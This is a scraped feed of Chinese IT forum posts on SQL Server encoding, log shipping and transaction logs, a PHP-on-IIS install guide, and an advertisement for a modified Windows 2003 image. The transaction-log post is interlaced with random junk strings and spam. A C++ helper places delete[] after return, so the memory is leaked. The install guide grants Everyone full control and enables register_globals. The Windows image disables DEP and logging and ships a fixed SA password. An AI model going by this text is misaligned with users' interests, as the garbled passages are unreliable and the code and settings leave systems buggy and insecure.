UCS-2(數(shù)據(jù)庫)-〉自動(dòng)轉(zhuǎn)化為936(Unicode簡體中文語言版本),所以最后的使用數(shù)據(jù)分析查詢器看到的就是亂碼,最后確定的方案就是兩種手
段:一是更改數(shù)據(jù)查詢分析器的Codepage為65001,很顯然當(dāng)前的SQLServer沒有這個(gè)功能(沒找到?知道的告訴我);二是將前端的UTF
-8轉(zhuǎn)為GB2312編碼,很顯然這個(gè)最后成功了,這個(gè)過程程序還是保留了所有的多語言的特性,一位UTF-8-〉GB2312,這個(gè)過程是無損的(新的
驗(yàn)證會(huì)出現(xiàn)部分方塊無法顯示),因?yàn)槭荱TF-8->Unicode->GB2312.
總結(jié):
1,MSSQL
Server不支持UTF-8(Codepage=65001)直接顯示,數(shù)據(jù)庫查詢的顯示數(shù)據(jù)使用默認(rèn)的Codepage,如簡體中文版就是936,繁
體中文是950,韓文949等,因此從使用的Web頁面UTF-8提交的數(shù)據(jù)自動(dòng)轉(zhuǎn)換為所用的Codepage顯示,因此就是亂碼,這個(gè)有待MS
SQL
Server進(jìn)一步發(fā)展,因?yàn)楝F(xiàn)在Oracle和MySQL是可以支持直接UTF-8存儲(chǔ)顯示,國際化時(shí)請(qǐng)先將數(shù)據(jù)由UTF-8編碼轉(zhuǎn)化為MSSQL數(shù)據(jù)
庫默認(rèn)的編碼,讀寫出來這個(gè)過程著相反進(jìn)行轉(zhuǎn)化,這個(gè)過程看起來會(huì)因?yàn)檗D(zhuǎn)化過程影響處理速度(抉擇于國際化);
2,ASP/ASPX/JSP/PHP使用MSSQL Server編程支持UTF-8都會(huì)面臨這樣的問題,可以看看MSDN有關(guān)這個(gè)方面的解釋
補(bǔ)充:根據(jù)測試和MSDN分析,將UTF-8轉(zhuǎn)化為GB2312并不是很好的方案,這樣會(huì)使包含韓文、阿拉伯文等等,這些都會(huì)變成問號(hào),所以整個(gè)過程并不是很繁瑣,簡化一下:
寫數(shù)據(jù)庫:瀏覽器表單提交數(shù)據(jù)(UTF-8)(ANSI編碼)-〉應(yīng)用服務(wù)器端程序(進(jìn)行UTF-8-〉Unicode)-〉MS SQL Server(自動(dòng)轉(zhuǎn)化為字符集936編碼顯示內(nèi)容,但數(shù)據(jù)肯定是Unicode方式存儲(chǔ)的);
讀數(shù)據(jù)庫:MS SQL Server(936 - Unicode)-〉應(yīng)用服務(wù)器端程序(進(jìn)行Unicode-〉UTF-8)-〉瀏覽器顯示
注意:其他條件設(shè)置不變
 
兩個(gè)使用的函數(shù):
1,UTF8轉(zhuǎn)化為Unicode,inline為了編譯后更快運(yùn)行,老用到了,返回字符串為了使用鏈?zhǔn)奖磉_(dá)式
inline WCHAR  *UTF8ToUnicode(const char *str) throw()
 {
  int i = MultiByteToWideChar(CP_UTF8,MB_ERR_INVALID_CHARS,str,-1,NULL,0);        
  WCHAR   *strUnicode=new   WCHAR[i];        
  MultiByteToWideChar(CP_UTF8,MB_ERR_INVALID_CHARS,str,-1,strUnicode,i);
  return strUnicode;
  delete []strUnicode;
 }
一定要返回WCHAR 或wchar_t類型,否則有些字符就會(huì)變成“?”,Unicode(UCS-2)是2個(gè)字節(jié)寬
 
2,Unicode轉(zhuǎn)化為UTF8,inline同上意義
inline char *UnicodeToUTF8(const WCHAR* pText) throw()
 {
  int i= WideCharToMultiByte(CP_UTF8
]]>
SQL Server技巧合集http://www.bgl88.cn/bbs/dispbbs.asp?BoardID=67&ID=2527&Page=1wangxinxin2010-12-13 13:27:55SQL SERVER中對(duì)查詢結(jié)果隨機(jī)排序
問:怎樣才能對(duì)查詢結(jié)果隨機(jī)排序?
  答:對(duì)結(jié)果記錄隨機(jī)排序,或隨機(jī)返回X條記錄,可以通過在SELECT語句中使用RAND函數(shù)來實(shí)現(xiàn)。但是RAND函數(shù)在查詢中只生成一次,因此每一行都將得到相同的值。可以通過在ORDER BY子句中使用NEWID函數(shù)來對(duì)結(jié)果進(jìn)行排序的方法來實(shí)現(xiàn),代碼如下:
  SELECT *
  FROM Northwind..Orders
  ORDER BY NEWID()
  SELECT TOP 10 *
  FROM Northwind..Orders
  ORDER BY NEWID()
解決SQL Server 2000之日志傳送功能
一、殘余數(shù)據(jù)
     當(dāng)您進(jìn)行SQL Server 2000日志傳送的實(shí)驗(yàn)時(shí),也許偶而會(huì)中斷設(shè)定過程。如果真是如此,那么某些資料仍然會(huì)存入每臺(tái)服務(wù)器的日志傳送資料表,并且影響到后續(xù)的日志傳送設(shè)定動(dòng)作。為了保證這些剩余資料都會(huì)被清除,請(qǐng)確實(shí)刪除每臺(tái)服務(wù)器msdb數(shù)據(jù)庫內(nèi)日志傳送資料表之相關(guān)資料。
    錯(cuò)誤信息:
    Error 14261: The specified primary_server_name.primary_database_name ('N') already exists.
    Error 14426: A log shipping monitor is already defined (...)
    處理方法:
    必須手動(dòng)執(zhí)行下面幾個(gè)存儲(chǔ)過程來刪除Log Shipping在數(shù)據(jù)庫中記錄的信息。
    1、sp_delete_log_shipping_primary
     刪除msdb.dbo.log_shipping_primary表中的Primary Server信息
    2、sp_delete_log_shipping_plan
     刪除Log Shipping計(jì)劃
    3、sp_delete_log_shipping_secondary
     刪除msdb.dbo.log_shipping_secondaries表中的Secondary Server信息
    4、sp_remove_log_shipping_monitor
     刪除Log Shipping監(jiān)視從表msdb.dbo.log_shipping_monitor
二、數(shù)據(jù)庫的模式
     如果正確設(shè)置了Log Shipping,但是沒有辦法正常執(zhí)行,在SQL Server的日志中可以看到類似這個(gè)信息和界面:
    Microsoft (R) SQLMaint Utility (Unicode), Version Logged on to SQL Server 'ZTAO-1' as 'ZTAO-1\Administrator' (trusted)
Starting maintenance plan 'LOG_Plan_9' on 2003-9-4 14:42:02
Backup can not be performed on database 'ERPLogShipping'. This sub task is ignored.
Deleting old text reports...        0 file(s) deleted.
End of maintenance plan 'LOG_Plan_9' on 2003-9-4 14:42:02
SQLMAINT.EXE Process Exit Code: 1 (Failed)


    可能是你沒有正確設(shè)置數(shù)據(jù)庫的模式,完整模式。


    三、Log文件存放路徑
    在MSDN上看過一篇文章說,同一臺(tái)電腦上再次設(shè)置Log Shipping時(shí),不要使用相同的目錄存放Log文件。這個(gè)沒有考證過,只提一下,提醒大家!
數(shù)據(jù)庫考試簡介——微軟數(shù)據(jù)庫管理員 (MCDBA)
微軟認(rèn)證數(shù)據(jù)庫管理員 (MCDBA) 可獲得如下權(quán)益(2000 年 1 月 1 日生效):
  業(yè)界對(duì)您具備的微軟產(chǎn)品和技術(shù)的知識(shí)與熟練程度的認(rèn)可。
  在取得認(rèn)證的第一年內(nèi)訂閱全年 TechNet 或 TechNet Plus 享有預(yù)零售價(jià)的 50% 的折扣。(實(shí)行細(xì)節(jié)可能會(huì)隨著您的所在地點(diǎn)有所變化,請(qǐng)查看您的 Welcome Kit。)
  訂閱“微軟開發(fā)人員網(wǎng)絡(luò)”(MSDN?)在獲得認(rèn)證后的一年內(nèi),MCDBA 可以獲得一年的 MSDN 訂閱折扣.(實(shí)行細(xì)節(jié)可能會(huì)隨著您的所在地點(diǎn)有所變化,請(qǐng)查看您的 Welcome Kit。)MSDN 專業(yè)版的折扣額為 200 美元,MSDN Universal(通用版)的折扣為 500 美元。
  訂閱一年期 SQL Server Magazine。 SQL Server Magazine 是供 SQL Server 專家閱讀的首選資源。該雜志由業(yè)界的專家撰稿,包含了技術(shù)和實(shí)際技巧以及有關(guān)建議,是每位使用 SQL Server 人士的必備之物。通常全年的定價(jià)是 49.95 美元,對(duì)于 MCDBA 免費(fèi)。
  通過 安全的 MCP Web 站點(diǎn) 直接從微軟公司獲得技術(shù)和產(chǎn)品信息。
  從部分公司獲得獨(dú)享的產(chǎn)品和服務(wù)折扣。現(xiàn)已通過認(rèn)證的個(gè)人可以通過訪問 MCP 安全站點(diǎn) ,并單擊“其他權(quán)益”來獲取有關(guān)的獨(dú)享折扣信息。獲得最高級(jí)認(rèn)證的人員可以選擇“最高級(jí)權(quán)益”。
  MCDBA 徽標(biāo)、證書、成績單、皮夾卡、領(lǐng)帶夾向同事和客戶表明您的微軟認(rèn)證專家(MCP)身份。在認(rèn)證時(shí)可以從 MCP 安全 Web 站點(diǎn) 下載徽標(biāo)和成績單的電子文件。
  邀請(qǐng)參加微軟舉行的會(huì)議、技術(shù)培訓(xùn)會(huì)議以及特別活動(dòng)。
  免費(fèi)訪問 Microsoft Certified Professional Magazine Online (《微軟認(rèn)證專家在線雜志》 -- 一份有關(guān)職業(yè)生涯及專業(yè)前景展望的雜志)。 Microsoft Certified Professional Magazine Online Web 站點(diǎn)的安全內(nèi)容包括本期雜志(只有 MCP 才能訪問),其他僅在線發(fā)行的內(nèi)容和專欄,一個(gè)只對(duì) MCP 開放的數(shù)據(jù)庫和與微軟和其他技術(shù)專家定期的在線技術(shù)討論。
  加入 PASS(SQL Server 專業(yè)協(xié)會(huì))時(shí)享有折扣。除了在其中扮演重要角色外(這是唯一由用戶主持并經(jīng)過 Microsoft 批準(zhǔn)的全球性 SQL Server 用戶組),該協(xié)會(huì)的成員還能夠獨(dú)享各種教育機(jī)會(huì)。PASS 還邀請(qǐng) MCP 利用 PASS 的表決資格,只需 50 美元即可享受會(huì)員的所有權(quán)益(比正常價(jià)格低 100 美元)。 請(qǐng)?jiān)L問 MCP 安全 Web 站點(diǎn) 了解有關(guān)如何獲得此項(xiàng)權(quán)益的詳細(xì)信息。
  MCDBA 要求
  微軟認(rèn)證數(shù)據(jù)庫管理員 (MCDBA) 報(bào)考人需要通過三門核心考試和一門選修考試,這些考試能夠有效和可靠地衡量實(shí)施和管理 Microsoft SQL Server數(shù)據(jù)庫的技術(shù)熟練和精通程度。

]]>
PHP論壇for Windows安裝http://www.bgl88.cn/bbs/dispbbs.asp?BoardID=67&ID=2526&Page=1wangxinxin2010-12-13 13:26:35

 

 

準(zhǔn)備工作:
1.一臺(tái)系統(tǒng)為Windows Server版的計(jì)算機(jī)(我這里用的是Windows Server 2003 EE)
PHP論壇for Windows安裝 - Windows=
步驟:
1.將TCP/IP參數(shù)配置如下,并運(yùn)行“sysocmgr /i:sysoc.inf”,打開Windows組件向?qū)?br/>PHP論壇for Windows安裝 - Windows=
2.勾上DNS和IIS點(diǎn)確定安裝
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
3. 安裝PHP
PHP我用的是PHP5.1.4版,所有工具都已經(jīng)打包,將PHP5.1.4壓縮包解壓縮至E盤的根目錄,改名為PHP,即 E:\PHP,并設(shè)置安全權(quán)限為Everone完全控制
PHP論壇for Windows安裝 - Windows=
4.將E盤PHP目錄下的16個(gè).dll文件拷貝到C:\WINDOWS\system32目錄下,同時(shí)將PHP目錄中ext子目錄中的所有的文件也拷貝到 C:\WINDOWS\system32目錄下(我這里就搜索E:\PHP下的*.dll全部復(fù)制到C:\WINDOWS\system32下),設(shè)置權(quán)限為Everone完全控制
PHP論壇for Windows安裝 - Windows=
5.將PHP目錄中的PHP.exe PHP-win.exe PHP.ini-dist三個(gè)文件拷貝到C盤windows的目錄下,(如果是Win2000系統(tǒng),應(yīng)為C 盤的WINNT目錄下),將PHP.ini-dis改名為PHP.ini,設(shè)置權(quán)限為Everone完全控制
PHP論壇for Windows安裝 - Windows=
6.打開C:\windows下的PHP.ini,查找register_globals = off  改off為on
PHP論壇for Windows安裝 - Windows=
7.查找extension_dir =  將路徑指向PHP目錄中的ext目錄(即E:\PHP\ext)
PHP論壇for Windows安裝 - Windows=
8.查找下列語句,將其前面的 ; 符號(hào)去掉。這些語句幾乎是挨著的,不用逐個(gè)查找
;extension=php_dbase.dll
;extension=php_gd2.dll (用來支持GD庫,所以必須去掉)
;extension=php_ldap.dll
;extension=php_mbstring.dll (如果不去掉的話phpmyadmin會(huì)有紅色的提示)
;extension=php_mssql.dll  (支持MSSQL數(shù)據(jù)庫)
;extension=php_mysql.dll  (支持MYSQL數(shù)據(jù)庫)
最后保存即可
PHP論壇for Windows安裝 - Windows=
9.配置DNS服務(wù),目的就是為了用主機(jī)頭,讓一臺(tái)服務(wù)器多放幾個(gè)站,先新建一個(gè)站,并新建兩條A記錄如下
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
10.打開IIS 管理器,把Web服務(wù)擴(kuò)展全部起用
PHP論壇for Windows安裝 - Windows=
11. 打開 “網(wǎng)站屬性” ,“進(jìn)入“ISAPI篩選器”,點(diǎn)擊 “添加”――篩選器名稱:PHP,可執(zhí)行文件:E:\php\php5isapi.dll (盤符不同路徑也不同)
PHP論壇for Windows安裝 - Windows=
12. 回到“主目錄”――執(zhí)行權(quán)限為 “純腳本”――配置――映射――添加――可執(zhí)行文件:E:\php\php5isapi.dll擴(kuò)展名:.php(可千萬不要忘記那個(gè)小點(diǎn))
PHP論壇for Windows安裝 - Windows=
13. 回到“文檔”添加一個(gè) index.php,不然就無法訪問主頁了
PHP論壇for Windows安裝 - Windows=
14.重起IIS服務(wù),再打開“ISAPI篩選器”,可以看到PHP已經(jīng)加載了,綠色的箭頭向上
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
15.安裝MySQL Server 5.0數(shù)據(jù)庫,按默認(rèn)即可,需要修改的地方我已經(jīng)把圖貼出來了
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
為了安全起見,這里設(shè)置了密碼,等下在MySQL管理目錄要修改個(gè)文件,把密碼輸進(jìn)去
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
16.這個(gè)文件夾下是MySQL管理目錄,等下要配置成一個(gè)網(wǎng)站,這里也需要設(shè)置權(quán)限
PHP論壇for Windows安裝 - Windows=
17.新建一個(gè)站(即MySQL管理站)
PHP論壇for Windows安裝 - Windows= 
 
 19.瀏覽MySQL管理站,報(bào)一個(gè)密碼不對(duì)的錯(cuò)誤,這是正常的
]]>
維護(hù)SQL Server的交易日志經(jīng)驗(yàn)總結(jié)http://www.bgl88.cn/bbs/dispbbs.asp?BoardID=67&ID=2525&Page=1wangxinxin2010-12-13 13:21:02
維護(hù)SQL Server的交易日志經(jīng)驗(yàn)總結(jié)  ;d/K'h4{0d#u9@-q

-f0L&s+@(e#Q3x交易日志(Transaction logs)是數(shù)據(jù)庫結(jié)構(gòu)中非常重要但又經(jīng)常被忽略的部分。由于它并不像數(shù)據(jù)庫中的schema那樣活躍,因此很少有人關(guān)注交易日志。
"@6V/A;X$v8H1O5Z*r-b2C移動(dòng)通信,通信工程師的家園,通信人才,求職招聘,網(wǎng)絡(luò)優(yōu)化,通信工程,出差住宿,通信企業(yè)黑名單mscbsc 移動(dòng)通信論壇擁有30萬通信專業(yè)人員,超過50萬份GSM/3G等通信技術(shù)資料,是國內(nèi)領(lǐng)先專注于通信技術(shù)和通信人生活的社區(qū)。+B:C'E%e)w.V t;M
交易日志是針對(duì)數(shù)據(jù)庫改變所做的記錄,它可以記錄針對(duì)數(shù)據(jù)庫的任何操作,并將記錄結(jié)果保存在獨(dú)立的文件中。對(duì)于任何每一個(gè)交易過程,交易日志都有非常全面的記錄,根據(jù)這些記錄可以將數(shù)據(jù)文件恢復(fù)成交易前的狀態(tài)。從交易動(dòng)作開始,交易日志就處于記錄狀態(tài),交易過程中對(duì)數(shù)據(jù)庫的任何操作都在記錄范圍,直到用戶點(diǎn)擊提交或后退后才結(jié)束記錄。每個(gè)數(shù)據(jù)庫都擁有至少一個(gè)交易日志以及一個(gè)數(shù)據(jù)文件。 )s4g+])f+g3z9r5Y
$J9Z)\0Z+C8e'y7}
出于性能上的考慮,SQL Server將用戶的改動(dòng)存入緩存中,這些改變會(huì)立即寫入交易日志,但不會(huì)立即寫入數(shù)據(jù)文件。交易日志會(huì)通過一個(gè)標(biāo)記點(diǎn)來確定某個(gè)交易是否已將緩存中的數(shù)據(jù)寫入數(shù)據(jù)文件。當(dāng)SQL Server重啟后,它會(huì)查看日志中最新的標(biāo)記點(diǎn),并將這個(gè)標(biāo)記點(diǎn)后面的交易記錄抹去,因?yàn)檫@些交易記錄并沒有真正的將緩存中的數(shù)據(jù)寫入數(shù)據(jù)文件。這可以防止那些中斷的交易修改數(shù)據(jù)文件。 移動(dòng)通信,通信工程師的家園,通信人才,求職招聘,網(wǎng)絡(luò)優(yōu)化,通信工程,出差住宿,通信企業(yè)黑名單8T6f4X$A/K1G
;^5U e7W+s9W&K.C"h#S
維護(hù)交易日志
G;s&Z'p!]&\0~5M#Xmscbsc 移動(dòng)通信論壇擁有30萬通信專業(yè)人員,超過50萬份GSM/3G等通信技術(shù)資料,是國內(nèi)領(lǐng)先專注于通信技術(shù)和通信人生活的社區(qū)。
;d*@)x9N9}&r4{)q+L&q&Awww.mscbsc.com因?yàn)楹芏嗳私?jīng)常遺忘交易日志,因此它也會(huì)給系統(tǒng)帶來一些問題。隨著系統(tǒng)的不斷運(yùn)行,日志記錄的內(nèi)容會(huì)越來越多,日志文件的體積也會(huì)越來越大,最終導(dǎo)致可用磁盤空間不足。除非日常工作中經(jīng)常對(duì)日志進(jìn)行清理,否則日志文件最終會(huì)侵占分區(qū)內(nèi)的全部可用空間。日志的默認(rèn)配置為不限容量,如果以這種配置工作,它就會(huì)不斷膨脹,最終也會(huì)占據(jù)全部可用空間。這兩種情況都會(huì)導(dǎo)致數(shù)據(jù)庫停止工作。 www.mscbsc.com8o8\1X,k)P.r2W

0}(`,V:] S Q移動(dòng)通信,通信工程師的家園,通信人才,求職招聘,網(wǎng)絡(luò)優(yōu)化,通信工程,出差住宿,通信企業(yè)黑名單對(duì)交易日志的日常備份工作可以有效的防止日志文件過分消耗磁盤空間。備份過程會(huì)將日志中不再需要的部分截除。截除的方法是首先把舊記錄標(biāo)記為非活動(dòng)狀態(tài),然后將新日志覆蓋到舊日志的位置上,這樣就可以防止交易日志的體積不斷膨脹。如果無法對(duì)日志進(jìn)行經(jīng)常性的備份工作,最好將數(shù)據(jù)庫設(shè)置為"簡單恢復(fù)模式"。在這種模式下,系統(tǒng)會(huì)強(qiáng)制交易日志在每次記錄標(biāo)記點(diǎn)時(shí),自動(dòng)進(jìn)行截除操作,以新日志覆蓋舊日志。 移動(dòng)通信,通信工程師的家園,通信人才,求職招聘,網(wǎng)絡(luò)優(yōu)化,通信工程,出差住宿,通信企業(yè)黑名單!Q j8E,p1v

-y-f,w,s#n |  國內(nèi)領(lǐng)先的通信技術(shù)論壇截除過程發(fā)生在備份或?qū)⑴f標(biāo)記點(diǎn)標(biāo)為非活動(dòng)狀態(tài)時(shí),它使得舊的交易記錄可以被覆蓋,但這并不會(huì)減少交易日志實(shí)際占用的磁盤空間。就算不再使用日志,它依然會(huì)占據(jù)一定的空間。因此在維護(hù)時(shí),還需要對(duì)交易日志進(jìn)行壓縮。壓縮交易日志的方法是刪除非活動(dòng)記錄,從而減少日志文件所占用的物理硬盤空間。
3w5z)E0R!u9E3J |  國內(nèi)領(lǐng)先的通信技術(shù)論壇
"a1w!o8\;o+l-Z1v通過使用DBCC SHRINKDATABASE語句可以壓縮當(dāng)前數(shù)據(jù)庫的交易日志文件,DBCC SHRINKFILE語句用來壓縮指定的交易日志文件,另外也可以在數(shù)據(jù)庫中激活自動(dòng)壓縮操作。當(dāng)壓縮日志時(shí),首先會(huì)將舊記錄標(biāo)記為非活動(dòng)狀態(tài),然后將帶有非活動(dòng)標(biāo)記的記錄徹底刪除。根據(jù)所使用的壓縮方式的不同,你可能不會(huì)立即看到結(jié)果。在理想情況下,壓縮工作應(yīng)該選在系統(tǒng)不是非常繁忙的時(shí)段進(jìn)行,否則有可能影響數(shù)據(jù)庫性能。 MSCBSC 移動(dòng)通信論壇&b'x4J8l;G:m,C#M2h
|  國內(nèi)領(lǐng)先的通信技術(shù)論壇%Z6z8r4s%U4A'F6W
恢復(fù)數(shù)據(jù)庫 www.mscbsc.com8H._(s7T,s+@;Y(Q6K8f
www.mscbsc.com;f/W*j.r"`#u$W J'n$~0?
交易記錄備份可以用來將數(shù)據(jù)庫恢復(fù)到某一指定狀態(tài),但交易記錄備份本身不足以完成恢復(fù)數(shù)據(jù)庫的任務(wù),還需要備份的數(shù)據(jù)文件參與恢復(fù)工作。恢復(fù)數(shù)據(jù)庫時(shí),首先進(jìn)行的是數(shù)據(jù)文件的恢復(fù)工作。在整個(gè)數(shù)據(jù)文件恢復(fù)完成前,不要將其設(shè)為完成狀態(tài),否則交易日志就不會(huì)被恢復(fù)。當(dāng)數(shù)據(jù)文件恢復(fù)完成,系統(tǒng)會(huì)通過交易日志的備份將數(shù)據(jù)庫恢復(fù)成用戶希望的狀態(tài)。如果在數(shù)據(jù)庫最后一次備份后,存在多個(gè)日志文件的備份,備份程序會(huì)按照它們建立的時(shí)間依次將其恢復(fù)。
2R)y)l1r.~9{4V2U+c/H%r1Ymscbsc 移動(dòng)通信論壇擁有30萬通信專業(yè)人員,超過50萬份GSM/3G等通信技術(shù)資料,是國內(nèi)領(lǐng)先專注于通信技術(shù)和通信人生活的社區(qū)。
4J+D%}/y8e+K;I:y.F |  國內(nèi)領(lǐng)先的通信技術(shù)論壇另一種被稱為log shipping的過程可以提供更強(qiáng)的數(shù)據(jù)庫備份能力。當(dāng)log shipping配置好后,它可以將數(shù)據(jù)庫整個(gè)復(fù)制到另一臺(tái)服務(wù)器上。在這種情況下,交易日志也會(huì)定期發(fā)送到備份服務(wù)器上供恢復(fù)數(shù)據(jù)使用。這使得服務(wù)器一直處于熱備份狀態(tài),當(dāng)數(shù)據(jù)發(fā)生改變時(shí)它也隨之更新。另一個(gè)服務(wù)器被稱作監(jiān)視(monitor)服務(wù)器,可以用來監(jiān)視按規(guī)定時(shí)間間隔發(fā)送的shipping信號(hào)。如果在規(guī)定時(shí)間內(nèi)沒有收到信號(hào),監(jiān)視服務(wù)器會(huì)將這一事件記錄到事件日志。這種機(jī)制使得log shipping經(jīng)常成為災(zāi)難恢復(fù)計(jì)劃中使用的方案。(T004)
]]>
石頭網(wǎng)絡(luò)科技Windows 2003 EE SP2 SQL數(shù)據(jù)庫集成版 A1.1http://www.bgl88.cn/bbs/dispbbs.asp?BoardID=67&ID=2524&Page=1wangxinxin2010-12-13 13:17:15系統(tǒng)特點(diǎn)
一、本系統(tǒng)以微軟MSDN原版為基礎(chǔ),集成了安全漏洞補(bǔ)丁和系統(tǒng)組件更新,進(jìn)行了科學(xué)合理的優(yōu)化,從根本上保證了系統(tǒng)的安全性和穩(wěn)定性!
二、本系統(tǒng)未經(jīng)過任何精簡或者“減肥”,系統(tǒng)本身自帶的所有文件和組件都完整無缺,基本上百分百達(dá)到微軟原版系統(tǒng)的兼容性,不像其它修改版WIN2003那樣存在各種兼容性問題!
三、本系統(tǒng)既可以光盤安裝,也可以硬盤安裝;既可以自動(dòng)安裝,也可以手動(dòng)安裝;既可以在DOS下裝,也可以在WINDOWS或者WINPE下裝。完全支持目前最新的64位和多核CPU平臺(tái),并且集成超大容量的SCSI、RAID、SATA磁盤控制器驅(qū)動(dòng),可以完美支持各種串口,并口硬盤和硬盤陣列。
四、本系統(tǒng)僅集成了瀏覽網(wǎng)頁必裝的Adobe Flash Player ActiveX控件,未集成任何第三方軟件,是完全純凈的版本。本系統(tǒng)絕對(duì)不存在任何垃圾插件或者流氓軟件,也不象某些“商業(yè)化”系統(tǒng)那樣,要么存留各種后門,要么以修改默認(rèn)搜索引擎或者強(qiáng)制綁定主頁的方式來愚弄用戶。本系統(tǒng)是安全、干凈的系統(tǒng),可以放心使用
系統(tǒng)介紹
一、本系統(tǒng)以追求穩(wěn)定性、易用性和兼容性為前提,只進(jìn)行了適當(dāng)和必要的優(yōu)化,包括:打開網(wǎng)頁認(rèn)證碼;調(diào)整IE同時(shí)下載線程數(shù)為10;自動(dòng)終止無響應(yīng)程序,加快系統(tǒng)關(guān)機(jī)速度;徹底關(guān)閉Dr.WatSon;當(dāng)系統(tǒng)失敗時(shí),不將事件寫入系統(tǒng)日志,不發(fā)送管理警報(bào),不寫入調(diào)試信息,不重新啟動(dòng);安裝驅(qū)動(dòng)時(shí)不搜索WindowsUpdate;當(dāng)文件沒有關(guān)聯(lián)的打開程序時(shí),禁止從網(wǎng)絡(luò)上搜索打開類型;在桌面上顯示“我的電腦/網(wǎng)上鄰居/我的文檔/IE瀏覽器”;記事本默認(rèn)自動(dòng)換行;刪除圖標(biāo)快捷方式的字樣;關(guān)閉信使服務(wù);禁用錯(cuò)誤報(bào)告;禁止遠(yuǎn)程注冊(cè)表服務(wù)和遠(yuǎn)程修改注冊(cè)表;關(guān)閉時(shí)間同步;退出程序時(shí)自動(dòng)清理內(nèi)存中的DLL文件;關(guān)閉關(guān)機(jī)事件追蹤;禁用Ctrl+Alt+Del三鍵登錄;打開顯卡硬件加速和Direct3D加速;打開主題服務(wù);打開聲音服務(wù);破解Tcpip的最大半開連接數(shù)為65536;破解第三方主題限制;添加視頻解碼組件;添加DirectX音樂組件和控制面板組件;添加用戶帳號(hào)控制面板;關(guān)閉數(shù)據(jù)執(zhí)行保護(hù);對(duì)雙核CPU平臺(tái)進(jìn)行性能優(yōu)化。

二、無論采用哪種安裝方式,安裝前請(qǐng)務(wù)必對(duì)硬盤進(jìn)行殺毒。本光盤絕對(duì)不會(huì)包含任何病毒、木馬或者流氓軟件,作者可以保證在裝好系統(tǒng)之后,系統(tǒng)是完全干凈的。
三、本系統(tǒng)集成了SQL SERVER2000數(shù)據(jù)庫和SP4補(bǔ)丁,數(shù)據(jù)庫SA密碼為XPSTONE,請(qǐng)安裝后自行修改數(shù)據(jù)庫密碼,系統(tǒng)并已安裝好IIS組件,讓您安裝更快速,更省心
但是這不代表安裝完成的系統(tǒng)不會(huì)被病毒感染。特別是如果原來的舊系統(tǒng)已經(jīng)中毒了,硬盤上面有病毒或者木馬文件,那么安裝之后新系統(tǒng)受感染的危險(xiǎn)性很大。因此作者建議在安裝過程中拔掉網(wǎng)線,系統(tǒng)裝好之后先裝殺毒軟件和防火墻,再對(duì)硬盤上的分區(qū)或文件進(jìn)行訪問。
]]>
數(shù)據(jù)庫事務(wù)控制的實(shí)現(xiàn)位置:服務(wù)器VS客戶端,請(qǐng)大家討論http://www.bgl88.cn/bbs/dispbbs.asp?BoardID=67&ID=2523&Page=1wangxinxin2010-12-13 13:13:08這段時(shí)間開始有幸學(xué)習(xí)了ado.net訪問數(shù)據(jù)庫的一些內(nèi)容。我開始思考一個(gè)有關(guān)數(shù)據(jù)庫事務(wù)控制的問題。ado.net中的SqlTransaction 類可以為數(shù)據(jù)庫訪問提供事務(wù)的支持。你可以打開一個(gè)數(shù)據(jù)庫聯(lián)接,然后在這個(gè)聯(lián)接上啟動(dòng)一個(gè)事務(wù)(啟動(dòng)事務(wù)相當(dāng)于T-SQL的begin transaction語句),在這個(gè)啟動(dòng)了事務(wù)的數(shù)據(jù)庫聯(lián)接上你可以添加并執(zhí)行若干數(shù)據(jù)庫訪問命令,然后根據(jù)命令的執(zhí)行情況決定提交或者回滾事務(wù)。這使得通過ado.net訪問數(shù)據(jù)庫的應(yīng)用程序可以實(shí)現(xiàn)數(shù)據(jù)庫的事務(wù)控制。

另一方面,T-SQL同樣提供了數(shù)據(jù)庫的事務(wù)控制,這是眾所周知的。通常,數(shù)據(jù)庫設(shè)計(jì)人員常說,把數(shù)據(jù)的訪問控制放在離數(shù)據(jù)最近的地方才是最安全的,比如我們?cè)O(shè)計(jì)數(shù)據(jù)庫時(shí),在數(shù)據(jù)表上實(shí)現(xiàn)的唯一約束、check約束、觸發(fā)器等等都是基于這種設(shè)計(jì)思想的。類似ado.net這種的數(shù)據(jù)庫訪問技術(shù)也提供了對(duì)數(shù)據(jù)庫事務(wù)的支持,但是按照“把數(shù)據(jù)的訪問控制放在離數(shù)據(jù)最近的地方才是最安全的”的思想,我們有更好的選擇方式。比如,我們可以設(shè)計(jì)數(shù)據(jù)庫存儲(chǔ)過程,由存儲(chǔ)過程提供事務(wù)控制,并只允許數(shù)據(jù)庫客戶端訪問數(shù)據(jù)庫時(shí)去執(zhí)行存儲(chǔ)過程。這樣一來,似乎就沒有使用ado.net、ado、oledb等等這些數(shù)據(jù)庫訪問技術(shù)提供的支持事務(wù)的API接口的必要了。但是,我想未必是這樣的,既然有這些API接口存在,肯定是有它的必要性的。

我現(xiàn)在想讓大家討論一下,你們?cè)趯?shí)際應(yīng)用中使用過某種數(shù)據(jù)庫訪問技術(shù)的事務(wù)功能嗎?這種應(yīng)用是在什么請(qǐng)況下比較有價(jià)值呢?]]>
SQL Server 2005全文檢索技術(shù)http://www.bgl88.cn/bbs/dispbbs.asp?BoardID=67&ID=2522&Page=1wangxinxin2010-12-13 13:11:561.  前言
7 N) U. z& C# O/ k2 f/ X" T( X  ]: a8 N6 O0 \
    1.1 應(yīng)用背景 6 I+ x/ V  e+ ?9 k% C" @
  D$ x8 ^; i: n5 ]
